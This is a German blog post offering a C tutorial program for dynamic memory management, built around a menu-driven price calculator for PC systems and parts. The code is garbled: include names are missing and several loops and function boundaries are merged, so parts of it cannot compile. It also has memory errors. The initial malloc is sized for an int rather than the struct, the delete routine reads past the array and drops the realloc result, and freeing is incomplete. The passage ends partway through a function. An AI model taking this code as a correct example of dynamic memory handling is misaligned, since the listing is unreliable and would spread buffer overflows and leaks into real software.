C-Programm – Dynamische Speicherverwaltung

In diesem Beispiel zeigt ich, wie man Speicher dynamisch anlegen bzw. verwalten kann …

/*
============================================================================
Autor          : Lars Moelleken
Datum          : 10.02.2011
Beschreibung   : Preiskalkulation
Version        : 1.0
Compiler       : gcc 4.6.2-12
Programmschnittstelle: int main(void)
Das Programm gibt den Wert 0 oder 1 zurück.
Es werden keine Argumente erwartet.
============================================================================
*/

/*
============================================================================
Praeprozessoranweisungen
============================================================================
*/
#include 
#include 
#include 
#include 
#if defined __linux__
#include 
#elif defined _WIN32 || defined _WIN64
#define false 0
#define true 1
#endif

#define FUNSTAR_PREIS 1243.43
#define FUNSTAR_NAME "Fun Star"
#define HIGHEND_PREIS 1658.50
#define HIGHEND_NAME "High End"
#define MULTIMEDIASTAR_PREIS 698.20
#define MULTIMEDIASTAR_NAME "Multimedia Star"
#define OFFICESTAR_PREIS 1015.39
#define OFFICESTAR_NAME "Office Star"
#define GEHAEUSE_NAME "Gehaeuse"
#define LX100_PREIS 97.05
#define LX100_NAME "Compucase LX100 weiss"
#define LX120_PREIS 68.89
#define LX120_NAME "Compucase LX120 schwarz"
#define LX34A_PREIS 103.60
#define LX34A_NAME "Compucase LX34A weiss"
#define MAINBOARD_PREIS 193.03
#define MAINBOARD_NAME "Mainboard"
#define CPU_PREIS 334.65
#define CPU_NAME "CPU"
#define FESTPLATTEN_PREIS 130.95
#define FESTPLATTEN_NAME "Festplatte"
#define GRAFIKKARTEN_PREIS 319.13
#define GRAFIKKARTEN_NAME "Grafikkarte"

// die Struktur existiert nach der Deklaration als neuer Datentyp
// per typedef kann ein Synonym fuer die Strucktur erstellt werden 
typedef struct 
{
   char *pcKundenname, *pcProduktname;
   int iKundenNr, iProduktanzahl, iLieferung, iMontage;
   double dPreis;
} kunden;

/*
============================================================================
Funktionsprototypen
============================================================================
*/
// neuer Datentyp "kunden" wird hier direkt verwendent
kunden* datenEinlesen(kunden *s,int *iAnzahl, char *pcKundenname, 
   char *pcProduktname, int iKundenNr, int iProduktanzahl,
   int iLieferung,int iMontage,double dPreis);
int cls(void);
int new_fflush(void);
int InArray(int x, int iArray[], int iSize);
int loeschen(kunden *s, int *iAnzahl, int i);
double berechnungPreis(double dInputPreis, int iLieferung,
   int iMontage, int iAusgabe);
int ausgabeWarenkorb(kunden *s, int iAnzahl);
int ausgabeGesamtpreis(kunden *s, int iAnzahl);
int sucheNachKundenNr(kunden *s, int iAnzahl, int iKundenNr);
int sucheNachName(kunden *s, int iAnzahl, char *pcKundenname);
char *readKundenName(kunden *s, int iAnzahl, int iKundenNr);
int readProduktanzahl(void);
int readMontage(void);
int readLieferung(void);
int readKundenNr(void);
int printMenu(void);
int printMenuStandard(void);
int printMenuEinzel(void);
int printMenuGehaeuse(void);

/*
============================================================================
Funktion main() - Hauptfunktion
============================================================================
*/
int main(void)
/*
Rückgabewert:    0 ==> alles OK
                 1 ==> es ist ein Fehler aufgetreten
Es werden keine Argumente übergeben!
*/
{
   char cNamePuffer[100], cProduktPuffer[100], cInput;
   int iAnzahl=0, i, iKundenNr, inputStandard, auswahl, iProduktanzahl, 
      iShowMenu=true, iLieferung=false, iMontage=false;
   double dPreis;
 
   // Zeiger auf einen Eintrag definieren 
   kunden *s;
   // neuen Speicherbereich fuer die Struktur "kunden" anlegen
   s = (kunden*) malloc(sizeof(iAnzahl));
   // falls kein Speicherplatz zur Verfuegung steht ...
   if (s == NULL)
   {
      printf("Fehler: .......Speicherplatzmangel\n");
      exit(1);
   }
 
   // solange bis '0' eingegeben wird ...
   do 
   {
      if (iShowMenu == 1) 
      {
         cls();
         // Ausgabe vom Warenkorb
         ausgabeGesamtpreis(s,iAnzahl);
         // Ausgabe vom Menue
         printMenu();
      }  
      // Eingabe
      scanf("%c", &cInput);
      new_fflush();
      // Auswahl zur Eingabe 
      switch (cInput) 
      {
         // Einlesen
         case 'a': case 'A':
            iShowMenu=false;
            // i = 1 => true
            i = 1;
            // solange i = true ...
            while (i == true)
            {
               do
               {
                  cls();
                  // Ausgabe vom Warenkorb
                  ausgabeGesamtpreis(s,iAnzahl);
                  // Ausgabe vom MenueStadard
                  printMenuStandard();
                  scanf("%d", &inputStandard);
                  new_fflush();
               } 
               while (inputStandard != 0 && 
               		 inputStandard != 1 && 
               		 inputStandard != 2 && 
               		 inputStandard != 3 && 
               		 inputStandard != 4);
               // Auswahl zur Eingabe 
               switch (inputStandard) 
               {
                  case 1:
                     dPreis=FUNSTAR_PREIS;
                     strncpy(cProduktPuffer,FUNSTAR_NAME,
                     		 strlen(FUNSTAR_NAME) +1);
                     break;
                  case 2:
                     dPreis=HIGHEND_PREIS;
                     strncpy(cProduktPuffer,HIGHEND_NAME,
                     		 strlen(HIGHEND_NAME) +1);
                     break;
                  case 3:
                     dPreis=MULTIMEDIASTAR_PREIS;
                     strncpy(cProduktPuffer,MULTIMEDIASTAR_NAME,
                     		 strlen(MULTIMEDIASTAR_NAME) +1);
                     break;
                  case 4:
                     dPreis=OFFICESTAR_PREIS;
                     strncpy(cProduktPuffer,OFFICESTAR_NAME,
                     		 strlen(OFFICESTAR_NAME) +1);
                     break;
                  default:
                     dPreis=0;
                     // i = 0 => false => while-Schleife wird verlassen
                     i=false;
                     cls();
                     iShowMenu=true;
                     break;
               }
               if (dPreis != 0)
               {
                  iKundenNr=readKundenNr();
                  strcpy(cNamePuffer,readKundenName(s, iAnzahl, iKundenNr));
                  iProduktanzahl=readProduktanzahl();
                  iLieferung=readLieferung();

                  cls();
                  berechnungPreis(dPreis, iLieferung, iMontage, 1);

                  printf("\n\nIn den Warenkorb? ('j' fuer ja) ");
                  // Einlesen von cInput
                  scanf("%c", &cInput);
                  new_fflush();
                  printf("\n\n");
                  // wenn Eingabe ungleich j ist, dann ...
                  if (cInput == 'j') 
                  {
                     // Speicher wird per Funktion (datenEinlesen) erstellt
                     s = datenEinlesen(s,&iAnzahl,cNamePuffer,cProduktPuffer,
                     		 iKundenNr,iProduktanzahl,iLieferung,iMontage,dPreis);

                     printf("\n**Eintrag gespeichert**\n");
                     printf("\n\tweiteren Eintrag anlegen? ('j' fuer ja) ");
                  }
                  else
                  {
                     printf("\n\tanderen Eintrag anlegen? ('j' fuer ja) ");
                  }

                  // Einlesen von cInput
                  scanf("%c", &cInput);
                  new_fflush();
                  printf("\n\n");
                  // wenn Eingabe ungleich j ist, dann ...
                  if (cInput != 'j') 
                  {
                     // i = 0 => false => while-Schleife wird verlassen
                     i=false;
                     cls();
                     iShowMenu=true;
                  }
                  else
                  {
                     cls();
                     iShowMenu=false;
                  }
               }
            }
            // beendet eine Schleife bzw. eine case-Anweisung 
            break;
         // Einlesen
         case 'b': case 'B':
            cls();
            iShowMenu=false;
            // i = 1 => true
            i = true;
            // solange i==true ...
            while (i == true)
            {
               do
               {
                  cls();
                  // Ausgabe vom Warenkorb
                  ausgabeGesamtpreis(s,iAnzahl);
                  // Ausgabe vom MenueStadard
                  printMenuEinzel();
                  scanf("%d", &inputStandard);
                  new_fflush();
               } 
               while (inputStandard != 0 && 
               		 inputStandard != 1 && 
               		 inputStandard != 2 && 
               		 inputStandard != 3 && 
               		 inputStandard != 4 && 
               		 inputStandard != 5);
               // Auswahl zur Eingabe 
               switch (inputStandard) 
               {
                  case 1:
                     // i = 0 => false => while-Schleife wird verlassen
                     i=false;
                     do
                     {
                        cls();
                        // Ausgabe vom Warenkorb
                        ausgabeGesamtpreis(s,iAnzahl);
                        // Ausgabe vom MenueStadard
                        printMenuGehaeuse();
                        scanf("%d", &inputStandard);
                        new_fflush();
                     } 
                     while (inputStandard != 0 && 
                     		 inputStandard != 1 && 
                     		 inputStandard != 2 && 
                     		 inputStandard != 3);
                     // Auswahl zur Eingabe 
                     switch (inputStandard)
                     {
                        case 1:
                           dPreis=LX100_PREIS;
                           strncpy(cProduktPuffer,LX100_NAME,
                           		 strlen(LX100_NAME) +1);
                           break;
                        case 2:
                           dPreis=LX120_PREIS;
                           strncpy(cProduktPuffer,LX120_NAME,
                           		 strlen(LX120_NAME) +1);
                           break;
                        case 3:
                           dPreis=LX34A_PREIS;
                           strncpy(cProduktPuffer,LX34A_NAME,
                           		 strlen(LX34A_NAME) +1);
                           break;
                        default:
                           dPreis=0;
                           // i = 0 => false => while-Schleife wird verlassen
                           i=false;
                           cls();
                           iShowMenu=true;
                           break;
                     }
                     break;
                  case 2:
                     dPreis=MAINBOARD_PREIS;
                     strncpy(cProduktPuffer,MAINBOARD_NAME,
                     		 strlen(MAINBOARD_NAME) +1);
                     break;
                  case 3:
                     dPreis=CPU_PREIS;
                     strncpy(cProduktPuffer,CPU_NAME,
                     		 strlen(CPU_NAME) +1);
                     break;
                  case 4:
                     dPreis=FESTPLATTEN_PREIS;
                     strncpy(cProduktPuffer,FESTPLATTEN_NAME,
                     		 strlen(FESTPLATTEN_NAME) +1);
                     break;
                  case 5:
                     dPreis=GRAFIKKARTEN_PREIS;
                     strncpy(cProduktPuffer,GRAFIKKARTEN_NAME,
                     		 strlen(GRAFIKKARTEN_NAME) +1);
                     break;
                  default:
                     dPreis=0;
                     // i = 0 => false => while-Schleife wird verlassen
                     i=false;
                     cls();
                     iShowMenu=true;
                     break;
               }
               if (dPreis != 0)
               {
                  iKundenNr=readKundenNr();
                  strcpy(cNamePuffer,readKundenName(s, iAnzahl, iKundenNr));
                  iProduktanzahl=readProduktanzahl();
                  iLieferung=readLieferung();
                  iMontage=readMontage();
 
                  cls();
                  berechnungPreis(dPreis, iLieferung, iMontage, 1);

                  printf("\n\nIn den Warenkorb? ('j' fuer ja) ");
                  // Einlesen von cInput
                  scanf("%c", &cInput);
                  new_fflush();
                  printf("\n\n");
                  // wenn Eingabe ungleich j ist, dann ...
                  if (cInput == 'j') 
                  {
                     // Speicher wird per Funktion (datenEinlesen) erstellt
                     s = datenEinlesen(s,&iAnzahl,cNamePuffer,cProduktPuffer,
                     		 iKundenNr,iProduktanzahl,iLieferung,iMontage,dPreis);

                     printf("\n**Eintrag gespeichert**\n");
                     printf("\n\tweiteren Eintrag anlegen? ('j' fuer ja) ");
                  }
                  else
                  {
                     printf("\n\tanderen Eintrag anlegen? ('j' fuer ja) ");
                  }

                  // Einlesen von cInput
                  scanf("%c", &cInput);
                  new_fflush();
                  printf("\n\n");

                  // wenn Eingabe ungleich j ist, dann ...
                  if (cInput != 'j') 
                  {
                     // i = 0 => false => while-Schleife wird verlassen
                     i=false;
                     cls();
                     iShowMenu=true;
                  }
                  else
                  {
                     cls();
                     iShowMenu=false;
                  }
               }
            }
            // beendet eine Schleife bzw. eine case-Anweisung 
            break;
         // Ausgabe
          case 'c': case 'C':
            cls();
            iShowMenu=false;
            // wenn Anzahl gleich 0, dann ...
            if (iAnzahl==0) 
            {
               printf("\n\n**Kein Eintrag gefunden**\n\n");
            } 
            else 
            {
               ausgabeWarenkorb(s,iAnzahl);
            }
            printf("\ndrueke 'Enter' um fortzufahren: ...\n");
            if (getchar() == '\n')
            {
               cls();
               iShowMenu=true;
            }
            // beendet eine Schleife bzw. eine case-Anweisung 
            break;
         // Nach Kunden-Namen suchen
         case 'd': case 'D':
            cls();
            iShowMenu=false;
            printf("Suchen (Kunden-Name): ");
            // Einlesen von cNamePuffer (pcKundenname)
            scanf("%99s", cNamePuffer);
            new_fflush();
            // Funktion wird aufgerufen 
            sucheNachName(s,iAnzahl,cNamePuffer);
            printf("\ndrueke 'Enter' um fortzufahren: ...\n");
            if (getchar() == '\n')
            {
               cls();
               iShowMenu=true;
            }
            // beendet eine Schleife bzw. eine case-Anweisung 
            break;
         // Nach Kunden-Nr. suchen
         case 'e': case 'E':
            cls();
            iShowMenu=false;
            printf("Suchen (Kunden-Nr.): ");
            // Einlesen von iKundenNr
            scanf("%d",&iKundenNr);
            new_fflush();
            // Funktion wird aufgerufen 
            sucheNachKundenNr(s,iAnzahl,iKundenNr);
            printf("\ndrueke 'Enter' um fortzufahren: ... \n");
            if (getchar() == '\n')
            {
               cls();
               iShowMenu=true;
            }
            // beendet eine Schleife bzw. eine case-Anweisung 
            break;
         // Einen Eintrag löschen
         case 'f': case 'F':
            cls();
            iShowMenu=false;
            printf("Loeschen: ");
            i=true;
            while (i == true) 
            {
               if (iAnzahl != 0) 
               {
                  for (i=0; i != iAnzahl; i++) 
                  {
                     printf("\n\t---------------------------------------");
                     printf("\n\tIndex: %d -> Kunde: %s (%d)", i, 
                     		 s[i].pcKundenname, s[i].iKundenNr);
                     printf("\n\t---------------------------------------");
                  }
                  printf("\n\nIndex angeben: ");
                  scanf("%d",&auswahl);
                  new_fflush();
                  if (auswahl < 0 || auswahl >= iAnzahl) 
                  {
                     cls();
                     printf("\nungueltige Eingabe\n\n");
                  } 
                  else 
                  {
                     printf("\n\tEintrag wirklich loeschen? ('j' fuer ja) ");
                     // Einlesen von cInput
                     scanf("%c", &cInput);
                     new_fflush();
                     printf("\n\n");

                     // wenn Eingabe gleich j ist, dann ...
                     if (cInput == 'j') 
                     {
                        loeschen(s,&iAnzahl,auswahl);
                        i=false;
                           printf("\n\n**Eintrag geloescht !**\n\n");
                     }
                     else
                     {
                        // i = 0 => false => while-Schleife wird verlassen
                        i=false;
                        iShowMenu=true;
                     }

                  }
               } 
               else 
               {
                  i=false;
                  printf("\n\n**Kein Eintrag gefunden**\n\n");
               }
               printf("\ndrueke 'Enter' um fortzufahren: ... \n");
               if (getchar() == '\n')
               {
                  cls();
                  iShowMenu=true;
               }
            }
            // beendet eine Schleife bzw. eine case-Anweisung 
            break;
         // Speicher wieder freigeben (free)
         case 'x': case 'X':
            for (i=0; i != iAnzahl; i++) 
            {
               // "free" gibt den Speicher wieder frei
               free(s[i].pcKundenname);
            }
            // testing
            //free(s);
            // Alternative schreibweise:
            // realloc(s,0);
            // beendet eine Schleife bzw. eine case-Anweisung
            break;
         // Standard 
         default:
            iShowMenu=true;
            break;
      }
   // solange in der Schleife bleiben, bis 0 eingegeben wird 
   } 
   while (cInput != 'x' && cInput != 'X');
 
   return 0;
}

/*
============================================================================
Funktion datenEinlesen() - der Speicher wird bereitgestellt und die Eingaben 
               an die Strucktur uebergeben
============================================================================
*/
kunden* datenEinlesen(kunden *s, int *iAnzahl, char *pcKundenname,
   char *pcProduktname, int iKundenNr, int iProduktanzahl,
   int iLieferung, int iMontage, double dPreis)
/*
Rückgabewert:    s ==> neuen Speicherbereich
Argumente:    *s ==> Zeiger auf den neuen Speicherbereich
      *iAnzahl ==> Zeiger auf die Anzahl an Eintraegen
      *pcKundenname ==> Zeiger auf den Kunden-Namen
      *pcProduktname ==> Zeiger auf den Produkt-Namen 
      iKundenNr ==> Kunden-Nr.
      iProduktanzahl ==> Anzahl vom bestellten Produkten
      iLieferung ==> Lieferung (1=ja || 0=nein)
      iMontage ==> Montage (1=ja || 0=nein)
      dPreis ==> Preis pro Produkt
*/
{
   //
   // realloc() -    kann Speicherplatz von einem bereits zugeteilten 
   //      Blocks vergroeßern oder verkleinern, dazu wird ein 
   //      Zeiger auf die Anfangsadresse des neu reservierten 
   //      Speicherblocks gesetzt, dabei bleibt der Inhalt des 
   //      urspruenglichen Speicherblocks erhalten und der neue 
   //      Speicherblock wird hinten angefuegt
   //
   // Speicherbereich wird vergroeßert
   s=(kunden*)realloc(s,sizeof(kunden)*(*iAnzahl +1));
   //
   // strlen -    gibt die Anzahl der Zeichen eines Strings 
   //      ohne das Null-Zeichen zurueck
   // strcpy -    Stringfunktion zum kopieren einer Zeichenkette       
   //
   // malloc() -    reserviert genau so viel zusammenhaengenden Speicher, 
   //      wie angegeben wird, zurueckgegeben wird ein typenloser 
   //      Zeiger auf void mit der Anfangsadresse des 
   //      Speicherbereichs
   //
   // z.B.: 
   // Speicher fuer 100 int-Elemente reservieren 
   // ptr = malloc(100 * sizeof(int));
   // ...
   // Speicher auf 50 int-Elemente verkleinern 
   // ptr = realloc(ptr, 50 * sizeof(int));
   // ...
   // Speicher von 256 auf 512 int-Elemente vergroeßern 
   // int block = 256;
   // ptr = malloc(block * sizeof(int));
   // block += block;
   // ptr = reallloc(ptr, block * sizeof(int));
   //
   // neuen Speicherbereich fuer einen neuen Namen anlegen
   // +1 wegen \0 -> am Ende vom String
   s[*iAnzahl].pcKundenname=(char*) malloc(strlen(pcKundenname) +1); 
   // falls kein Speicherplatz zur Verfuegung steht ...
   if (s[*iAnzahl].pcKundenname == NULL) 
   {
      printf("Fehler: .......Speicherplatzmangel\n");
      exit(1);
   }
   // der Strucktur (kunden) wird die Variable "pcKundenname" hinzugefuegt 
   strncpy(s[*iAnzahl].pcKundenname,pcKundenname,strlen(pcKundenname) +1);
   // der Strucktur (kunden) wird die Variable "iKundenNr" hinzugefuegt
   s[*iAnzahl].iKundenNr=iKundenNr;
   // neuen Speicherbereich fuer einen neuen Produktnamen anlegen
   // +1 wegen \0 -> am Ende vom String
   s[*iAnzahl].pcProduktname=(char*) malloc(strlen(pcProduktname) +1);
   // falls kein Speicherplatz zur Verfuegung steht ...
   if (s[*iAnzahl].pcProduktname == NULL) 
   {
      printf("Fehler: .......Speicherplatzmangel\n");
      exit(1);
   }
   // der Strucktur (kunden) wird die Variable "pcProduktname" hinzugefuegt 
   strncpy(s[*iAnzahl].pcProduktname,pcProduktname,strlen(pcProduktname) +1);
   // der Strucktur (kunden) wird die Variable "iProduktanzahl" hinzugefuegt   
   s[*iAnzahl].iProduktanzahl=iProduktanzahl; 
   // der Strucktur (kunden) wird die Variable "iLieferung" hinzugefuegt   
   s[*iAnzahl].iLieferung=iLieferung;
   // der Strucktur (kunden) wird die Variable "iMontage" hinzugefuegt   
   s[*iAnzahl].iMontage=iMontage;
   // der Strucktur (kunden) wird die Variable "dPreis" hinzugefuegt 
   s[*iAnzahl].dPreis=dPreis;
   // die Anzahl der Kunden um 1 erhoehen
   ++*iAnzahl;
   return s;
}

/*
============================================================================
Funktion cls() - clear
============================================================================
*/
int cls(void)
/*
Rückgabewert:    0 ==> alles OK
Es werden keine Argumente übergeben!
*/
{
#if defined __linux__
   printf("\033[2J");
#elif defined _WIN32 || defined _WIN64
   system("cls");
#endif
   return 0;
}

/*
============================================================================
Funktion new_fflush() - fflush(stdin) for Linux and Windows
============================================================================
*/
int new_fflush(void)
/*
Rückgabewert:    0 ==> alles OK
Es werden keine Argumente übergeben!
*/
{
#if defined __linux__
   int ch;
   while ((ch = getchar()) != '\n' && ch != EOF);                  
#elif defined _WIN32 || defined _WIN64
   fflush(stdin);
#endif
   return 0; 
}

/*
============================================================================
Funktion InArray() - check if 'x' in the 'iArray'
============================================================================
*/
int InArray(int x, int iArray[], int iSize)
/*
Rückgabewert:    inArray ==> is in Array or not ;)
Argumente:   x ==> checking 'x'
      iArray[] ==> in this iArray
      iSize ==> iSize of the iArray
*/
{
   // default is "false"
   int inArray=false;
   int i;
   for (i=0; i alles OK
Argumente:   *s ==> Zeiger auf den neuen Speicherbereich
      *iAnzahl ==> Zeiger auf die Anzahl an Eintraegen
      i ==> Auswahl des Indexes 
*/
{
   // solange Index nicht Anzahl ist ...
   for (i; i != *iAnzahl; i++) 
   {
      // Strucktur-Eintraege um 1 erhoehen
      s[i].pcKundenname=s[i+1].pcKundenname;
      s[i].iKundenNr=s[i+1].iKundenNr;
      s[i].pcProduktname=s[i+1].pcProduktname;
      s[i].iProduktanzahl=s[i+1].iProduktanzahl;
      s[i].iLieferung=s[i+1].iLieferung;
      s[i].iMontage=s[i+1].iMontage;
      s[i].dPreis=s[i+1].dPreis;
   }
   // Anzahl -1 
   --*iAnzahl;
   // Speicherbereich wird verkleinert
   s=(kunden*) realloc(s,sizeof(kunden) * (*iAnzahl));
   return 0;
}

// Funktion: berechnungPreis
double berechnungPreis(double dInputPreis, int iLieferung,
		int iMontage, int iAusgabe)
{
   // Ausgabe ...
   if (iAusgabe == 1) 
   {
      printf("\n\n\tListenpreis pro Artikel:\t%7.2lf", dInputPreis);
      printf("\n\t\t+ Lagerkosten:\t\t%7.2lf", dInputPreis * 0.1);
   }
   dInputPreis = dInputPreis + (dInputPreis  * 0.1);
   if (iAusgabe == 1) 
   {
      printf("\n\t---------------------------------------");
      printf("\n\tMaterialkosten:\t\t\t%7.2lf", dInputPreis);
      printf("\n\t\t+ Verwaltungskosten:\t%7.2lf", dInputPreis * 0.1);
   }
   dInputPreis = dInputPreis + (dInputPreis * 0.1);
   if (iAusgabe == 1) 
   {
      printf("\n\t---------------------------------------");
      printf("\n\tSelbstkosten:\t\t\t%7.2lf", dInputPreis);
      printf("\n\t\t+ Gewinn:\t\t%7.2lf", dInputPreis * 0.1);
   }
   dInputPreis = dInputPreis + (dInputPreis * 0.1);
   if (iAusgabe == 1) 
   {
      printf("\n\t---------------------------------------");
      printf("\n\tBarverkaufspreis:\t\t%7.2lf", dInputPreis);
   }
   if (iLieferung == 1)
   {
      if (iAusgabe == 1) 
      {
         printf("\n\t\t+ Versand:\t\t%7.2lf", dInputPreis * 0.05);
      }
      dInputPreis = dInputPreis + (dInputPreis * 0.05);
      if (iAusgabe == 1) 
      {
         printf("\n\t---------------------------------------");
         printf("\n\tVersandpreis:\t\t\t%7.2lf", dInputPreis);
      }
   }
   if (iMontage == 1)
   {
      if (iAusgabe == 1) 
      {
         printf("\n\t\t+ Montage:\t\t%.2lf", dInputPreis * 0.15);
      }
      dInputPreis = dInputPreis + (dInputPreis * 0.15);
      if (iAusgabe == 1) 
      {
         printf("\n\t---------------------------------------");
         printf("\n\tHerstellungskosten:\t\t%7.2lf", dInputPreis);
      }
   }
   return dInputPreis;
}

/*
============================================================================
Funktion ausgabeWarenkorb() - Warenkorb ausgeben
============================================================================
*/
int ausgabeWarenkorb(kunden *s, int iAnzahl) 
/*
Rückgabewert:    0 ==> alles OK
Argumente:   *s ==> Zeiger auf den neuen Speicherbereich
      iAnzahl ==> Anzahl an Eintraegen
*/
{
   int i, iArray[100];
   double gesamtpreis[100], dPreis[100];
   printf("\nWarenkorb (Einzelpreise):\n");
   // von 0 bis Anzahl ...
   for (i=0; i alles OK
Argumente:   *s ==> Zeiger auf den neuen Speicherbereich
      iAnzahl ==> Anzahl an Eintraegen
*/
{
   int i;
   double gesamtpreis=0, dPreis[32];
   // von 0 bis Anzahl ...
   for (i=0; i alles OK
      1 ==> es ist ein Fehler aufgetreten
Argumente:   *s ==> Zeiger auf den neuen Speicherbereich
      iAnzahl ==> Anzahl an Eintraegen
      iKundenNr ==> Kunden-Nr.
*/
{
   int i,x=false;
   double dPreis[100];
   // von 0 bis Anzahl ...
   for (i=0;i != iAnzahl; i++) 
   {
      // wenn der Eintrag gleich dem Suchbegriff ist ...
      if (s[i].iKundenNr==iKundenNr) 
      {
         dPreis[i] = berechnungPreis(s[i].dPreis, s[i].iLieferung,
         		 s[i].iMontage, 0);
         dPreis[i] = dPreis[i] * s[i].iProduktanzahl;
         printf("\n(Index: %3d)\nKunde: %s\nKunden-Nr: %d\nProdukt: %s\n"
         		 "Preis: %.2lf\n\n",i,s[i].pcKundenname,s[i].iKundenNr,
         		 s[i].pcProduktname,dPreis[i]);
         // x=1 -> Eintrag gefunden
         x=true;
      }
   }
   // wenn Eintrag nicht gefunden wurde, dann ...
   if (x==false) 
   {
      printf("\n\n**Kein Eintrag gefunden**\n\n");
      return 1;
   }
   else
   {
      return 0;
   }
}

/*
============================================================================
Funktion sucheNachName() - Infos ueber eine bestimmten Kunden-Namen
============================================================================
*/
int sucheNachName(kunden *s, int iAnzahl, char *pcKundenname)
/*
Rückgabewert:    0 ==> alles OK
      1 ==> es ist ein Fehler aufgetreten
Argumente:   *s ==> Zeiger auf den neuen Speicherbereich
      iAnzahl ==> Anzahl an Eintraegen
      *pcKundenname ==> Kunden-Name
*/
{
   int i,x=false;
   double dPreis[100];
   // von 0 bis Anzahl ...
   for (i=0;i != iAnzahl;i++) 
   {
      // Vergleich (strcmp) von char-Arrays bzw. String
      if ( !strcmp(pcKundenname,s[i].pcKundenname) ) 
      {
         dPreis[i] = berechnungPreis(s[i].dPreis, s[i].iLieferung,
         		 s[i].iMontage, 0);
         printf("\n(Index: %3d)\nKunde: %s\nKunden-Nr: %d\nProdukt: %s\n"
         		 "Preis: %.2lf\n\n",i,s[i].pcKundenname,s[i].iKundenNr,
         		 s[i].pcProduktname,dPreis[i]);
         // x=1 -> Eintrag gefunden
         x=true;
      }
   }
   // wenn Eintrag nicht gefunden wurde, dann ...
   if (x==false) 
   {
      printf("\n\n**Kein Eintrag gefunden**\n\n");
      return 1;
   }
   else
   {
      return 0;
   }
}

/*
============================================================================
Funktion readKundenName() - scanf with check
============================================================================
*/
char *readKundenName(kunden *s, int iAnzahl, int iKundenNr)
/*
Rückgabewert:    cNamePuffer ==> Kunden-Name
Argumente:   *s ==> Zeiger auf den neuen Speicherbereich
      iAnzahl ==> Anzahl an Eintraegen
      iKundenNr ==> Kunden-Nr.
*/
{
   int check=true, i;
   static char cNamePuffer[100];
   if (iAnzahl != 0) 
   {
      for (i=0; i != iAnzahl; i++) 
      {
         if (s[i].iKundenNr == iKundenNr)
         {
            strncpy(cNamePuffer,s[i].pcKundenname,
            		strlen(s[i].pcKundenname) +1);
            check=false;
         }
      }
   }
   if (check==true)
   {
      do 
      {
         printf("\tKunde (Name): ");
         // Einlesen von cNamePuffer (pcKundenname)
         scanf("%99s", cNamePuffer);
         new_fflush();
         if (!isalpha(cNamePuffer[0]))
         {
            printf("\n\n**Bitte einen korrekten Namen eingeben!!!**\n\n");
         }
      } 
      while (!isalpha(cNamePuffer[0]));
   }
   return cNamePuffer;
}

/*
============================================================================
Funktion readProduktanzahl() - scanf with check
============================================================================
*/
int readProduktanzahl(void)
/*
Rückgabewert:    iProduktanzahl ==> Produktanzahl
Es werden keine Argumente übergeben!
*/
{
   int check=true, iProduktanzahl;
   check=true;
   do 
   {
      printf("\tAnzahl: ");
      // Einlesen der Produktanzahl
      check = !scanf("%d", &iProduktanzahl);
      new_fflush();
      if (check)
      {
         printf("\n\n**Bitte eine korrekte Produktanzahl eingeben!!!**\n\n");
      }
   } 
   while (check);
   return iProduktanzahl;
}

/*
============================================================================
Funktion readLieferung() - scanf with check
============================================================================
*/
int readMontage(void)
/*
Rückgabewert:    iMontage ==> Montage (1 | 0)
Es werden keine Argumente übergeben!
*/
{
   int iMontage=0;
   char cInput;
   do 
   {
      printf("\tMontage: ('j' fuer ja) ");
      // Einlesen der Montage
      scanf("%c", &cInput);
      new_fflush();
      if (!isalpha(cInput))
      {
         printf("\n**Bitte eine korrekte Eingabe taetigen!!!**\n");
      }
   } 
   while (!isalpha(cInput));
   if (cInput == 'j') 
   {
      iMontage=true;
   }
   return iMontage;
}

/*
============================================================================
Funktion readLieferung() - scanf with check
============================================================================
*/
int readLieferung(void)
/*
Rückgabewert:    iLieferung ==> Lieferung (1 | 0)
Es werden keine Argumente übergeben!
*/
{
   int iLieferung=0;
   char cInput;   
   do 
   {
      printf("\tLieferung: ('j' fuer ja) ");
      // Einlesen der Lieferung
      scanf("%c", &cInput);
      new_fflush();
      if (!isalpha(cInput))
      {
         printf("\n\n**Bitte eine korrekte Eingabe taetigen!!!**\n\n");
      }
   } 
   while (!isalpha(cInput));
   if (cInput == 'j') 
   {
      iLieferung=true;
   }
   return iLieferung;
}

/*
============================================================================
Funktion readKundenNr() - scanf with check
============================================================================
*/
int readKundenNr(void)
/*
Rückgabewert:    iKundenNr ==> Kunden-Nr.
Es werden keine Argumente übergeben!
*/
{
   int check=true, iKundenNr;
   do 
   {
      printf("\n\tKunden-Nr.: ");
      // Einlesen der iKundenNr
      check = !scanf("%d", &iKundenNr);
      new_fflush();
      if (check)
      {
         printf("\n\n**Bitte eine korrekte Kunden-Nr. eingeben!!!**\n\n");
      }
   } 
   while (check);
   return iKundenNr;
}

/*
============================================================================
Funktion printMenu() - Ausgabe vom Menue
============================================================================
*/
int printMenu(void) 
/*
Rückgabewert:    0 ==> alles OK
Es werden keine Argumente übergeben!
*/
{
   printf("\n\tP R E I S K A L K U L A T I O N");
   printf("\n\t===============================");
   printf("\n\n\ta: Standardkonfiguration");
   printf("\n\n\tb: Einzelkomponenten");
   printf("\n\n\tc: Warenkorb anzeigen"); 
   printf("\n\n\td: Suchen (Kunden-Name)");
   printf("\n\n\te: Suchen (Kunden-Nr.)");
   printf("\n\n\tf: Loeschen");
   printf("\n\n\tx: Ende");
   printf("\n\n\n\tAuswahl: ");
   return 0;
}

/*
============================================================================
Funktion printMenuStandard() - Ausgabe vom Standard-Menue
============================================================================
*/
int printMenuStandard(void) 
/*
Rückgabewert:    0 ==> alles OK
Es werden keine Argumente übergeben!
*/
{
   printf("\n\tS T A N D A R D K O N F I G U R A T I O N");
   printf("\n\t=========================================");
   printf("\n\n\t1: %s\t\t%5.2f", FUNSTAR_NAME, FUNSTAR_PREIS);
   printf("\n\t2: %s\t\t%5.2f", HIGHEND_NAME, HIGHEND_PREIS);
   printf("\n\t3: %s\t% 5.2f", MULTIMEDIASTAR_NAME, MULTIMEDIASTAR_PREIS);
   printf("\n\t4: %s\t\t%5.2f", OFFICESTAR_NAME, OFFICESTAR_PREIS);
   printf("\n\t0: Abbruch");
   printf("\n\n\n\tAuswahl: ");
   return 0;
}

/*
============================================================================
Funktion printMenuEinzel() - Ausgabe vom Einzel-Menue
============================================================================
*/
int printMenuEinzel(void) 
/*
Rückgabewert:    0 ==> alles OK
Es werden keine Argumente übergeben!
*/
{
   printf("\n\tE I N Z E L K O M P O N E N T E N");
   printf("\n\t=================================");
   printf("\n\n\t1: %s", GEHAEUSE_NAME);
   printf("\n\t2: %s\t\t%5.2f", MAINBOARD_NAME, MAINBOARD_PREIS);
   printf("\n\t3: %s\t\t\t%5.2f", CPU_NAME, CPU_PREIS);
